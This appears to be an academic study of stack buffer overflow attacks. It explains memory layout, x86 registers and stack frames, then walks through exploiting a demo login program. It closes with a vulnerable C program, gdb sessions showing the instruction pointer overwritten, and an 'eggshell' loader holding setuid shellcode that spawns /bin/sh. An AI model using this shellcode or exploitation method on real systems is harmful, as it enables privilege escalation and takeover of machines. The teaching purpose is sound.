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ABSTRACT 

 
Often security website’ headlines read: "Buffer overflow in vendor’s product allows 

intruders to take over computer!” What can software engineering education do about this 

situation? In this document we have tried to point out how dangerous buffer overflow 

attacks can be and the amount of damage they are capable of incurring. We have shown 

several vulnerable applications both past as well as recent. The objective of this study is 

to take one inside the buffer overflow attack and bridge the gap between the “descriptive 

account” and the “technically intensive account”. The intent is to provide a logical, 

detailed, and technical explanation of the buffer overflow problem and the exploit that 

can be well understood by all. We have successfully coded several exploits and 

developed programs to demonstrate the effectiveness of such attacks. 
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On november 2, 1988 a new form of threat appeared with the Morris Worm, also known 

as the Internet Worm. This famous event caused heavy damages on the internet, by 

using two common UNIX programs, sendmail and fingerd. This was possible by 

exploiting a buffer overflow in fingerd. This is probably one of the most outstanding 

attacks based on buffer overflows. This kind of vulnerability has been found on largely 

spread and used daemons such as bind, wu-ftpd, or various telnetd implementations, as 

well as on applications such as Oracle or MS Outlook Express. The variety of vulnerable 

programs and possible ways to exploit them make clear that buffer overflows 

represent a real threat. Generally, they allow an attacker to get a shell on a remote 

machine, or to obtain superuser rights. Buffer overflows are commonly used in remote or 

local exploits. 

The first aim of this document is to present how buffer overflows work and may 

compromise a system or a network security, and to focus on some existing protection 

solutions. Finally, we will try to point out the most interesting sets to secure an 

environment. 

Most of the exploits based on buffer overflows aim at forcing the execution of 

malicious code, mainly in order to provide a root shell to the user. The principle is quite 

simple: malicious instructions are stored in a buffer, which is overflowed to allow an 

unexpected use of the process, by altering various memory sections. 

Thus, we will introduce in this document the way a process is mapped in the 

machine memory, as well as the buffer notion; then we will focus on two kinds of exploits 

based on buffer overflow: stack overflows and heap overflows. 
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To understand what stack buffers are we must first understand how a process is 

organized in memory. Processes are divided into three regions: Text, Data, and Stack. 

We will concentrate on the stack region, but first a small overview of the other regions is 

in order. The text region is fixed by the program and includes code (instructions) and 

read-only data. This region corresponds to the text section of the executable file. This 

region is normally marked read-only and any attempt to write to it will result in a 

segmentation violation. The data region contains initialized and un-initialized data. Static 

variables are stored in this region. The data region corresponds to the data-bss sections 

of the executable file. Its size can be changed with the brk(2) system call. If the 

expansion of the bss data or the user stack exhausts available memory, the process is 

blocked and is rescheduled to run again with a larger memory space. New memory is 

added between the data and stack segments.  

 

 
 
2.1    What Is A Stack? 

A stack is an abstract data type frequently used in computer science. A stack of objects 

has the property that the last object placed on the stack will be the first object removed. 

This property is commonly referred to as last in, first out queue, or a LIFO. Several 

operations are defined on stacks. Two of the most important are PUSH and POP. PUSH 

adds an element at the top of the stack. POP, in contrast, reduces the stack size by one 

by removing the last element at the top of the stack. 
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2.2    Why Do We Use A Stack? 

Modern computers are designed with the need of high-level languages in mind. The 

most important technique for structuring programs introduced by high-level languages is 

the procedure or function. From one point of view, a procedure call alters the flow of 

control just as a jump does, but unlike a jump, when finished performing its task, a 

function returns control to the statement or instruction following the call. This high-level 

abstraction is implemented with the help of the stack. The stack is also used to 

dynamically allocate the local variables used in functions, to pass parameters to the 

functions, and to return values from the function. 

2.3    The Stack Region 

A stack is a contiguous block of memory containing data. A register called the stack 

pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. 

Its size is dynamically adjusted by the kernel at run time. The CPU implements 

instructions to PUSH onto and POP off of the stack. The stack consists of logical stack 

frames that are pushed when calling a function and popped when returning. A stack 

frame contains the parameters to a function, its local variables, and the data necessary 

to recover the previous stack frame, including the value of the instruction pointer at the 

time of the function call. Depending on the implementation the stack will either grow 

down (towards lower memory addresses), or up. In our examples we'll use a stack that 

grows down. This is the way the stack grows on many computers including the Intel, 

Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation 

dependent. It may point to the last address on the stack, or to the next free available 

address after the stack. For our discussion we'll assume it points to the last address on 

the stack. 

In addition to the stack pointer, which points to the top of the stack (lowest 

numerical address), it is often convenient to have a frame pointer (FP) which points to a 

fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In 

principle, local variables could be referenced by giving their offsets from SP. However, 

as words are pushed onto the stack and popped from the stack, these offsets change. 
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Although in some cases the compiler can keep track of the number of words on the 

stack and thus correct the offsets, in some cases it cannot, and in all cases considerable 

administration is required. Furthermore, on some machines, such as Intel-based 

processors, accessing a variable at a known distance from SP requires multiple 

instructions.  

Consequently, many compilers use a second register, FP, for referencing both 

local variables and parameters because their distances from FP do not change with 

PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola 

CPUs, any address register except A7 (the stack pointer) will do. Because the way our 

stack grows, actual parameters have positive offsets and local variables have negative 

offsets from FP. 

The first thing a procedure must do when called is save the previous FP (so it 

can be restored at procedure exit). Then it copies SP into FP to create the new FP, and 

advances SP to reserve space for the local variables. This code is called the procedure 

prolog. Upon procedure exit, the stack must be cleaned up again, something called the 

procedure epilog. The Intel ENTER and LEAVE instructions and the Motorola LINK and 

UNLINK instructions, have been provided to do most of the procedure prolog and epilog 

work efficiently. 
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A buffer overflow is very much like pouring ten ounces of water in a glass designed to 

hold eight ounces. Obviously, when this happens, the water overflows the rim of the 

glass, spilling out somewhere and creating a mess. Here, the glass represents the buffer 

and the water represents application or user data. Let’s look a simple C/C++ code 

snippet that overruns a buffer. In this function we have a buffer capable of holding eight 

ASCII characters. Assuming we are on a 32-bit system, this means 16 bytes of memory 

have been allocated to the buffer. We then place the buffer in an initialization loop and 

forcefeed 15 “x” characters into it through programming error. Obviously they are not all 

going to fit, and nine of them must spill over into some other memory area like the water 

overflows its glass. Notice there is no code in this function to check the bounds of the 

array or to prevent this programming error from occurring. Under most conditions, the 

overrun of a buffer does not present a security problem in itself. Typically, a 

segmentation fault will occur and the program will terminate with a core dump. The 

buffer overflow itself really is that simple. As we shall soon see though, identifying and 

exploiting the vulnerability complicates matters very quickly. 

 

 
3.1    Structure and Management of Program Memory 
Any application or program can logically be divided into the two basic parts of text and 

data. Text is the actual read-only program code in machine-readable format, and data is 

the information that the text operates on as it executes instructions. Text data resides in 

the lower areas of a processes memory allocation. Several instances of the same 

program can share this memory area. Data, in turn, can be divided into the three logical 

parts of static, stack, and heap data. The distinction between these types is dependant 

on when and how the memory is allocated, and where it is stored or located. 
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When an executable is first loaded by the operating system, the text segment is 

loaded into memory first. The data segments then follow. Figure 1 demonstrates these 

relationships. Static data, located above and adjacent to the text data, is pre-known 

information whose storage space is compiled into the program. This memory area is 

normally reserved for global variables and static C++ class members. Static data can be 

in either an initialized or uninitialized state. Heap data, located above and adjacent to 

static data, is allocated at runtime by the C language functions malloc() and calloc(), and 

by the C++ new operator. The heap grows up from a lower memory address to a higher 

memory address.  

 
The stack is an actual data structure in memory, accessed in LIFO (last-in, first-

out) order. This memory segment, located above and adjacent to heap data, grows 

down from a higher memory address to a lower memory address. Like heap data, stack 

data is also allocated at runtime. The stack is like a “scratch pad” that temporarily holds 

a function’s parameters and local variables, as well as the return address for the next 

instruction to be executed. This return address is of prime importance as it represents 

executable code sitting on the stack waiting for its turn to execute. 
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A thorough understanding of the stack and how it functions and performs is 

essential to understanding how buffer overflow vulnerabilities can be used and exploited 

for devious and malicious purposes. This being the case, we need to explore the stack 

and the stack segment in a little more detail. To do this, we will take a temporary and 

adventurous detour down to the hardware level and into the bowels of the Intel 80386 

CPU. Let’s begin with the CPU Registers. 

3.1.1    Registers 
Registers are either 16 or 32 bit7 high-speed storage locations directly inside the 

CPU, designed for high-speed access. For the purposes of discussion, registers can be 

grouped into the four categories of Data, Segment, Index, and Control (See Table I).  

Certainly, there are some terms here that should seem somewhat familiar. The 

completeregister set is illustrated in Figure 2. 
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Table 3.1 

 

Category Register Function 
Data EAX (accumulator) 

EBX (base) 

ECX (counter) 

EDX (data) 

Used for arithmetic and data 

movement. Each register can 

be addressed as either a 16 or 

32 bit value. EBX can hold the 

address of a procedure or 

variable. 

Segment CS (code segment) 

DS (data segment) 

SS (stack segment) 

ES (extra segment) 

FS & GS 

Used as base locations for 

program instructions, data and 

the stack. All references to 

memory involve a segment 

register used as a base 

location. 

Index EBP (base pointer) 

ESP (stack pointer) 

ESI (source index) 

EDI (destination index) 

Contain the offsets of data and 

instructions. The term offset 

refers to the distance of a 

variable or instruction from its 

base segment. The stack 

pointer contains the offset of the 

top of the stack 

Control EIP (instruction pointer) 

EFLAGS 

The instruction pointer always 

contains the offset of the next 

instruction to be executed within 

the current code segment. 

For instance, the segment registers CS, DS, ES, and SS used as base locations 

for program instructions (text data), data (static and heap data), and the stack (stack 

data). The index registers EBP and ESP contain offset references to the code, data, and 

stack registers. They are, in effect, a compass or positioning service that allows the 

program to keep track of exactly where all of its data and instructions are located. 

The data registers contain actual data bits and are used for the movement and 

manipulation of this data. EBX is particularly useful for holding the address of a function 

or variable. EBX plays a crucial role in the exploitation of a buffer overrun. The control 
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registers are bit-wise storage units used to alert the program or CPU of critical states or 

conditions, within the data or the program itself. EIP is of special importance in that it 

contains the address of the next instruction to be executed. Again, this is a crucial 

element in the exploitation of the buffer overrun. 

 

3.1.2    The Stack 
Our primary interest, of course, is the stack. Let’s look at this data structure a bit closer 

and see how it relates to and interfaces with the registers. We are forced to look at a 

little assembly language code at this point, but as you shall see, it is really not all that 

frightening. As mentioned earlier, the stack is a special memory buffer outside of the 

CPU used as a temporary holding area for addresses and data. The stack resides inside 

of the stack segment. Each 16-bit location on the stack is pointed at by the ESP register, 

or stack pointer. The stack pointer, in turn, holds the address of the last data element to 

be added to, or pushed onto the stack. It is important to note that the push operation 

pushes data backwards onto the stack. This is what causes stack memory to grow 

downward, or grow toward the lower memory addresses. Now this can truly be confusing 

and make one’s head spin, but it must be understood to execute an attack on the stack. 

So please, just hang tight. Conversely, the last value added to the stack is also the first 

one to be removed, or popped from the stack. Hence, the stack is a LIFO (first-in, last-

out) data structure. For clarity, let’s illustrate this. 

 

 21



A push operation copies a value onto the stack. When a new value is pushed, 

ESP (the stack pointer) is decremented. ESP always points to the last value pushed. 

The PUSH instruction is used to accomplish this (Figure 3). The PUSH instruction does 

not change the contents of EAX, but rather it copies the contents of EAX onto the stack. 

As more values are pushed, the stack continues to grow downward in memory (Figure 4).  
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A pop operation removes a value from the top of the stack and places it in a 

register or variable. After the value is popped from the stack, the stack pointer is 

incremented to point to the previous value on the stack. The POP instruction is used to 

accomplish this (Figure 5). Now that we have seen how the stack works at the 

assembler and machine code level, let’s examine this same process from above using 

C/C++ code. 
 

3.2    Stack Operations with C/C++ 
We have now seen how memory is allocated when an executable is first loaded. We 

have also looked specifically at the stack segment, how a program pushes and pops 

runtime data to it and from it, and how the stack pointer (ESP) holds the address of the 

last data element added to the top of the stack. This is all well and good, but it has 

provided little insight into how buffer overruns are used and exploited. That being the 

case, it is now time to roll up our sleeves and get down to some serious business. 

Needless to say, though, this is where things start to get a bit messy and complicated.  

Enter the stack frame pointer (SFP). The frame pointer always points to a fixed 

location within the stack frame. Technically speaking, any parameters or local variables 

that are pushed onto the stack could be referenced by their offsets from the stack pointer 

(ESP). However, due to the dynamic nature of the stack, these offsets are provided their 

own reference and are normally stored in the EBP (base pointer) register. In the CPU, 

this is accomplished by assembly instructions involving both the SFP and EBP. 

Consequently, function parameters pushed onto the stack will have positive offsets from 

SFP, while local variables will have negative offsets from SFP. When a function is 

invoked in the C/C++ language, variables already on the stack must be saved, and 

space for any new variables must be allocated. The opposite is true when a function 

exits. When this happens, the prior SFP is pushed onto the stack and a new is SFP is 

created. ESP then operates with reference to the new local variables.  

Let’s illustrate with some actual code to limit the mass confusion that must be 

setting in now. It’s amazing the damage just a few lines of code can do. At this moment, 

we are only concerned with the sequential order compiled C/C++ code pushes data onto 

the stack. From this, we may glean some ideas for potential exploits. So let’s take a look.  

The authenticate() function (shown below) is anything but hypothetical. It’s going 

to do some real work for us. However, it has been temporarily modified so we can learn 

from it. Authenticate() is designed to authenticate a user attempting to “login” to a 
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computer system. Access is then either permitted or denied. Authenticate() accepts two 

string pointers as arguments (passed in as parameters). The two 16 byte parameters 

consist of a password entered by the user, and a password obtained from the system, 

presumable either from the SAM database in Windows NT or the /etc/passwd 

(/etc/shadow/) in UNIX. 

 
Additionally, authenticate() contains two local 16 byte data buffers into which the 

password parameter values will copied. Through a little programming trickery we can 

actually watch the parameter values and local buffers be pushed onto the stack. The 

compiled assembler code, minus the printf() statements, appears as follows: 

 
When executed, this code first pushes the two arguments to authenticate() 

backwards onto the stack. It then calls authenticate(). The instruction CALL then pushes 

the instruction pointer (EIP) onto the stack. Authenticate() is now free to execute on its 

own. First, it pushes the stack frame pointer onto the stack. The current stack pointer 

(ESP) is then copied into EBP, making it the new frame pointer (SFP). Next, memory 

space is allocated to the local buffers by subtracting their size from ESP. Finally, the 

printf() functions kick-in to verify that indeed this is what is occurring on the stack. Here 

is what we see when we run this block of code: 
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What we expected would happen, in fact, did happen. First, parameter 2 (char 

pointer string2) is pushed onto the top of the stack at address 0x12fdd8, thereby 

assuming the highest memory address. Next, we see parameter 1 (char pointer string1) 

pushed onto the top of the stack, but backwards from parameter 2. Since the stack 

grows downward toward lower memory address, we should expect parameter 1 to hold a 

lower memory address. In fact, it holds address value 0x12fdd4, exactly four bytes down 

for parameter 214. Next, although not exposed here, instruction pointer (EIP) and the 

stack frame pointer (EBP) are each pushed in respective order. Finally, memory for the 

two local buffers is allocated on the stack. With the stack continuing to grow downward, 

buffer1 takes address 0x12fdc0, and again as expected, buffer2 grabs address 0x12fdb0 

at the top of the stack, exactly 16 bytes down from buffer1. To simplify this dribble and 

put everything in proper perspective, let’s diagram the stack as it exits in its present 

condition (Figure 6). What we have here is a stack just waiting to be “smashed”. 
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3.2.1    The Method 
For a buffer overrun attack to be possible and be successful, the following events must 

occur, and in this order: 

1. A buffer overflow vulnerability must be found, discovered, or identified. 

2. The size of the buffer must be determined. 

3. The attacker must be able to control the data written into the buffer. 

4. There must be security sensitive variables or executable program instructions 

stored below the buffer in memory. 

5. Targeted executable program instructions must be replaced with other 

executable instructions. 

Let’s look at each of these five conditional steps individually. 

Step 1: Discovery and Identification 
There are four primary means by which discovery or identification may take place: 

1. By the reporting of others, albeit by white hat security alert or bulletin, or through 

the black hat underground. 

2. By scrutinizing source code. 

3. By accident or stroke of luck. 

4. By brute trial and error, utilizing intentional and systematic means. 

The first two means are quite obvious and warrant no discussion here. Accidental 

discovery may often be unrecognized as such, with the end result being a “crash dump” 

of the UNIX or NT system, or the proverbial MessageBox informing the Windows user 

that their program has either performed “an illegal operation and will be shutdown”, or 

their program “instruction referenced memory that could not be read”. However, the 

savvy or devious minded user might take notice of the potential significance and 

investigate further by employing brute trial and error through intentional and systematic 

means. Trial and error tactics might be used from the start by those who have far too 

much time on their hands. The trail and error process literally involves the repetitive 

feeding of varying length input into a program or application. By chance, if the “your 

program has performed an illegal operation and will be shutdown” or “your program 

instruction referenced memory that could not be read” message arises, then “Bingo!! At 

this point, additionally investigation through yet more trial and error is required to 

determine if indeed a buffer overrun has been discovered. Once the overrun is 

confirmed, the real brainwork begins. 
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3.2.2    The Demonstration Code 
This may be a good time to break out the full version of our demonstration program and 

begin illustrating the exploit procedure. Earlier we were introduced to the authenticate() 

function for illustrating stack operation. Here is the entire code block for the program 

authenticate.exe: 

Authnticate.exe is a simple program, and quite frankly, one exactly like it is not 

likely to be found in a production environment. Let’s hope not anyway. However, it 

should prove more than adequate to show us how a hacker works on an unchecked 

buffer. Here is how the program works. 

 
 

First, main() allocates three array variables to contain the information necessary 

to authenticate a user logging into to a computer system. The program requests that the 

user input their name and password. This information is obtained by calling the 

notoriously flawed subset gets() function. Once main() has the users “username” in hand, 

it calls the function get_password() to acquire the expected authenticating “password” 

from the system database. It then passes the “input password” and the “system 

password” to our old friend authenticate() for further processing. Next, authenticate() 
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promptly copies the two password values into their respective buffers using the flawed 

strcpy() function. Finally, the contents of the two buffers are compared by calling the 

flawed strcmp() function. If the two values match, the user is authorized, and they are 

permitted to use the system. Now, let’s run it. 

 
Seems to work pretty good. As you can see, the user entered the username of 

“mark” and the password of “passwd”. This matched the entries in the /etc/shadow file, 

and the user was successfully authenticated. So, what’s the problem? To answer this 

question, let’s back track to Step 1 (Discovery and Identification) of the buffer overrun 

attack, and begin feeding varying length input into the program’s password request. And 

Bingo!! We hit pay dirt. 

 
We just overran a buffer and discovered an overflow vulnerability. Now Step 2. 

Step 2: Determine Buffer Size 
Before we can do much with our newly discovered buffer problem, we need to determine 

the exact size of the buffer. We can do this through experimentation, and by slowly 

growing and shrinking the number of characters we input into the buffer. As soon as we 

determine the exact number of characters it takes to crash the program, we have 

completed Step 2. In this case, it took little work to figure out this was an eight character 
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array (seven chars plus one null terminator). We now know at which point the buffer 

begins to overflow. Now Step 3. 

Step 3: Control Data Written Into Buffer 
Based on what we have learned about this program thus far, this step may be a no 

brainer. Let’s feed in a series of x’s and see if we are able to control what happens within 

the program. 

 
First, we entered the same username of “mark”. As an obedient program would, 

it successfully retrieved the correct password of “passwd” for user “mark“ from the 

/etc/shadow file. However, instead of entering the correct password, we entered 10 x’s. 

Something dreadful has happened to what the program believes to be the “system 

password”. Step 3 completed. 

Step 4: Overwrite Security Sensitive Variables Below The Buffer  
There are several possibilities of action once the hacker has reached this stage of the 

process. In our Step 4, we will attempt to overwrite a security sensitive variable by 

overflowing the vulnerable buffer with input of our choice, thereby affecting the outcome 

of the program. Here we go. 
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Observe that we just changed the “system password” from “passwd” to “phony” 

by overwriting it with input of our choice. We, the hacker, now have complete control of 

this program. Depending on what we wish to accomplish, there are several different 

directions in which we could go. First, let’s take another look at the stack and see exactly 

what has occurred to this point (Figure 7). First, the two password parameters (password 

and etc_password) were passed into authenticate() by reference. W hen authenticate() 

executes, strcpy() is called to perform a bit-by-bit copy of etc_password into buffer1. 

Next, strcpy() is again summands to perform a bit-by-bit copy of password into 

buffer2. Unfortunately, strcpy() pays no attention to the size or the contents of either 

password or buffer2. Buffer2 loads up with eight char values, but strcpy() blindly 

continues to pump the additional values from our input into buffer2. The real problem is 

they don’t fit, but must go somewhere. Alas, the glass begins to overflow. Due to the 

inherent nature of stack operation, the additional char values literally overflow buffer2 

and spill over into buffer1. As an end result, we successfully changed the “password” 

value that is to be matched against our input for authentication. Thus, we now control 

both values at will. 

Step 5: Replace Targeted Executable Instructions With Other Instructions 
Most black hats won’t be satisfied with this achievement alone however. They are 

generally seeking larger and more grandeur things, such as elevating their privilege in 

the system by becoming “root” or “administrator”. That leads us to Step 5. We have 

learned a great deal about the stack up to this point, as well as our demonstration code. 

For instance, when the CALL to authenticate() was made, the program and processor 
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needed to mark its trail so they would know where to go once authenticate() completed 

its execution. To accomplish this, the instruction pointer (EIP) was pushed onto the stack 

directly after authenticate()’s parameters. EIP holds this “return address”, and this is the 

address of an executable instruction. We observe that EIP also resides on the stack 

below the memory buffer we have already proven can be manipulated at will. This 

indeed presents a tempting situation. Before we proceed, let’s first, let’s take a quick 

look at system processes and privileges. 

 

3.2.3    System Processes and Privileges 
Although the internal mechanism works quite differently, both Windows NT and UNIX 

have a commonality in the manner new processes are created. For instance, in UNIX, 

when a process forks or creates a child process, the child process generally has the 

same privilege level as its parent process. Consequently, if a program was configured 

with SUID “root” permissions and made world executable, any process it spawned would 

most likely have identical privileges. This would include any UNIX shell that might be 

spawned. Similarly, in Windows NT, when a process starts a child process, the child 

process normally inherits the access token of the parent process. 
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Consequently, if a program running with system or administrative privileges were 

to launch a “command shell”, the newly created shell process would normally inherit the 

access tokens of its parent process. Now that we know this, we can continue with Step 5 

of our exploit. It should now be apparent that our goal, as hacker, is to obtain elevated 

system privilege using the problematic buffer we have been working with. Since our 

authentication program is doubtlessly running with system privilege, it may be very 

possible to achieve this goal utilizing the executable code EIP will direct us to. Since we 

are working on a Windows machine, we will attempt to execute a Windows command 

shell “cmd.exe” using the system() function. Here is the game plan: 

1. Push EBP onto the stack as relative stack reference pointer. 

2. Create and push a NULL on the stack as string “cmd.exe” must have a null 

terminator. This is done by “xoring” a register with itself (xor edi, edi; push edi). 

3. Push the code we want to execute (cmd.exe) onto the stack and use EBP to 

position and track its starting address. To do this, we will need to push each byte 

individually and in reverse order (exe.dmc). 

4. Push the address of the system() command (0x780208C3) on the stack to 

overwrite EIP (0x015DF124) (mov eax, 0x780208C3; push eax). 

5. Push the starting address of cmd.exe onto the stack with reference from EBP 

(lea eax, [ebp-08h]; push eax). 

6. Call system() with reference to EBP (call dword ptr [ebp-0ch]). 

7. With the stack set up in this fashion, the normal course of program execution will 

call system(), which in turn will launch “cmd.exe.” Goal achieved.  
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The literature defines the “Stack” and the “Heap” as the two primary types of buffer 

overrun situations. The stack overflow has two basic variations. One type involves 

overwriting (and thus changing) security sensitive variables or control With the exception 

of VMS, most computer architectures, including the Spark, handle memory use in a 

similar fashion. One difference that must be considered is the big-endian, little-endian 

phenomenon. In big-endian architectures, the leftmost bytes (those with a lower 

address) are most significant. In little-endian architectures, the rightmost bytes are most 

significant. Many mainframe computers, particularly IBM mainframes, use a big-endian 

architecture. Most modern computers, including PCs, use the little-endian system. The 

PowerPC system is bi-endian because it can understand both systems. In its simplest 

terms, a buffer is a chunk of memory used to temporarily store user data. Flags stored in 

memory adjacent to the unchecked buffer. The most common type of stack overflow 

involves the overwriting of function pointers that can be used to change program flow or 

gain elevated privileges within the operating system environment. The more complex 

heap overrun involves dynamic memory allocations, or memory allocated at run time by 

an application. 

In this study, we will place our focus on the Stack Buffer Overflow. However, in 

either case, one must have a good understanding of how the operating system allocates 

memory, and how the application utilizes this allocation. Additionally, this may be the 

prudent opportunity to define and demonstrate what the stack and heap are and how 

they work in realistic application.  

A buffer overflow attack may also be categorized as local or remote.  In a local 

attack the attacker already has access to the system and may be interested in escalating 

his/her access privilege. A remote attack is delivered through a network port, and may 

achieve simultaneously both gaining unauthorized access and maximum access 

privilege. 

 

 
 
4.1    Stack Overflows 
One classification of buffer overflow attacks depends on where the buffer is allocated.  If 

the buffer is a local variable of a function, the buffer resides on the run-time stack.  This 

is by far the most prevalent form of buffer overflow attack.  When a function is called in a 
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C program, before the execution jumps to the actual code of the called function, the 

activation record of the function must be pushed on the run-time stack.  In a C program 

the activation record consists of the following fields:  
1. Space allocated for each parameter of the function;  

2. The return address;  

3. The dynamic link;  

4. Space allocated to each local variable of the function.  

For convenience we will consider the address of the dynamic link field to be the base 

address of the activation record. The function must be able to access its parameters and 

local variables. This requires that during the execution of the function a register hold the 

base address of the activation record of the function, i.e. the address of the dynamic link 

field.  Parameters are below this address on the stack, and local variables above.  When 

the function returns, this register must be restored to its previous value, to point to the 

activation record of the calling function. To be able to do this, when the function is called 

the value of this register is saved in the dynamic link field. Thus the dynamic link field of 

each activation record points to the dynamic link field of the previous activation record on 

the stack,  which in turn points to the dynamic link field of the previous activation record, 

and so on, all the way to the bottom of the stack. The first activation record on the stack 

is that of main().  This chain of pointers is called the dynamic chain.  

In many C compilers the buffer grows towards the bottom of the stack. Thus if the 

buffer overflows and the overflow is long enough the return address will be corrupted, 

(as well as everything else in between, including the dynamic link.)  If the return address 

is overwritten by the buffer overflow so as to point to the attack code, this will be 

executed when the function returns. Thus, in this type of attack, the return address on 

the stack is used to hijack the control of the program.  

Overwriting the return address, as explained above, gives the attacker the means of 

hijacking the control of the program, but where should the attack code be stored? Most 

commonly it is stored in the buffer itself.  Thus the payload string which is copied into the 

buffer will contain both the binary machine language attack code as well as the address 

of this code which will overwrite the return address.  

There are a few difficulties that the attacker must overcome to carry out this plan. If 

the attacker has the source code of the attacked program it may be possible to 

determine exactly how big the buffer is and how far it is from the return address, 

determining how big the payload string must be. Also, the payload string cannot contain 
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the null character since this would abort the copying of the payload into the buffer. Some 

copying routines of the C library use carriage returns and new lines as a delimiter 

instead, so these characters should also be similarly avoided in the payload string.     

Access to the source code is nowadays quite common for many Operating Systems, e.g. 

Linux, OpenBSD, Free BSD, and even Solaris. The address of the attack code can be 

guessed, and through various techniques an approximate guess will do. For example, 

the attack code could start with a long list of no operation instructions, so that control 

could be passed to any of these in order to correctly execute the crucial part of the 

attack code which spawns the shell and comes after the no ops. This technique was 

already used in the Morris worm. Similarly, the tail of the payload string could consist of 

a repeated list of the guessed address of the attack code that we want to overwrite the 

return address with. These techniques increase considerably the chances of guessing 

the address of the attack code close enough for the attack to work.  

We now examine why buffer overflows are so common. Suppose that the buffer 

is a character array used to store strings. Most programs have string inputs or 

environment variables which can be used by the attacker to deliver the attack.  The 

program must read this input and parse it in order to make the appropriate response to 

the input. Often, to parse the input, the program will first copy it into a local variable of a 

function and then parse it. To do this the programmer reserves a large enough buffer for 

any reasonable input.  To copy the input into the buffer the program will typically use a 

string copying function of the standard C library such as strcpy().  If done carelessly, this 

introduces a buffer overflow vulnerability. This pattern is so well established in the C 

programmer’s repertoire that it makes very likely that many programs will contain buffer 

overflow vulnerabilities.  

The problem arises partly because C represents strings in a dangerous way. The 

length of a string is determined by terminating the sequence of characters by a null 

character. This representation is convenient, because strings can have arbitrary length 

and yet it allows for efficient processing of strings. But at the same time it is also 

dangerous, because the scheme breaks down if a string is not null terminated, and 

because there is no way of knowing the length of the string prior to processing all its 

characters. The typical C culture emphasizes efficiency over correctness, prudence or 

safety, which compounds the problem. It would require a massive amount of education 

to change this well entrenched programming practice.  A consequence of this is that it is 

unlikely that buffer overflow vulnerabilities can be eradicated at the source by not 
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introducing them into a program in the first place. Not only it will be difficult to eliminate 

the vulnerability from the enormous quantity of software already deployed, but it seems 

likely that programmers will continue to write new vulnerable software.  

 

Simple buffer overflow demonstration 
 
 ----------- Start of vul.c -------------- 

#include <stdio.h> 

int main(int argc, char * argv[]) 

{ 

char buffer[10]; 

if(argc < 2) 

{ 

printf("Usage : %s buffer\n", argv[0]); 

exit(0); 

} 

strcpy(buffer,argv[1]); 

printf("ur buffer : %s", buffer); 

} 

----------- end of vul.c --------------- 

Lets try now to overflow it 

[utsav@localhost]$ gcc vul.c -o vul 

[utsav@localhost]$ ./vul `perl -e 'print "A" x 20'` 

ur buffer : AAAAAAAAAAAAAAAAAAAA 

 

20 bytes and still not able to overflow it, lets put a bigger buffer 

[utsav@localhost]$ ./vul `perl -e 'print "A" x 30'` 

Segmentation fault (core dumped) 

 

We did it, we were able to overflow, lets try now to see what happened using our 

favorite debugger gdb 

[utsav@localhost lab]$ gdb -c core ./vul 

GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and you are 

 37



welcome to change it and/or distribute copies of it under certain conditions. Type "show 

copying" to see the conditions. There is absolutely no warranty for GDB. Type "show 

warranty" for details. This GDB was configured as "i386-redhat-linux"...  

Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 

Program terminated with signal 11, Segmentation fault. 

Reading symbols from /lib/i686/libc.so.6...done. 

Loaded symbols for /lib/i686/libc.so.6 

Reading symbols from /lib/ld-linux.so.2...done. 

Loaded symbols for /lib/ld-linux.so.2 

#0 0x40003e40 in process_envvars (modep=Cannot access memory at address 

0x41414149 

) at rtld.c:1463 

1463 

rtld.c: No such file or directory.  

in rtld.c 

(gdb) info reg eip 

eip 0x40003e40 0x40003e40 

(gdb) info reg ebp 

ebp 0x41414141 0x41414141 

 

as u see unfortunately we were able just to rewrite the ebp (extended base pointer) 

address while we couldnt rewrite eip (extended instruction pointer) seems we still need a 

bigger buffer let's retry with a bigger buffer size 

[utsav@localhost]$ ./vul `perl -e 'print "A" x 32'` 

Segmentation fault (core dumped) 

 

[utsav@localhost]$ gdb -c core ./vul 

GNU gdb 5.0rh-5 Red Hat Linux 7.1 Copyright 2001 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and you are 

welcome to change it and/or distribute copies of it under certain conditions. Type "show 

copying" to see the conditions. There is absolutely no warranty for GDB. Type "show 

warranty" for details. This GDB was configured as "i386 redhat-linux"... 

Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 

Program terminated with signal 11, Segmentation fault. 
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Reading symbols from /lib/i686/libc.so.6...done. 

Loaded symbols for /lib/i686/libc.so.6 

Reading symbols from /lib/ld-linux.so.2...done. 

Loaded symbols for /lib/ld-linux.so.2 

#0 0x41414141 in ?? () 

(gdb) info reg ebp 

ebp 0x41414141 0x41414141 

(gdb) info reg eip 

eip 0x41414141 0x41414141 

(gdb) q 

 

Well this time we did it, with a 32 buffer we were able to overwrite both eip and 

ebp with our new address 0x41414141 where 41 is the hex value for the ascii 

caracter "A" :) next step now is to find our shellcode return address, for that we will have 

to load an eggshell into our environment and then overflow the vulnerable program and 

find the shellcode return address a simple eggshell that i have written with setuid 

shellcode 

 

 

 

-------------------------- start eggshell.c ---------------------------- 

 

include <stdio.h> 

#define NOP 0x90 /* our nops (no operations) */ 

char shellcode[] = 

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() (not mine) */ 

"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd" 

"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80" 

"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0" 

"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50" 

"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89" 

"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" 

"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

int main(void) 
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{ 

char eggshell[512]; 

memset(eggshell,NOP,512); 

memcpy(&eggshell[512-strlen(shellcode)],shellcode,strlen(shellcode)); 

setenv("EGG", eggshell, 1); 

putenv(eggshell); 

system("/bin/bash"); 

return(0); 

} 

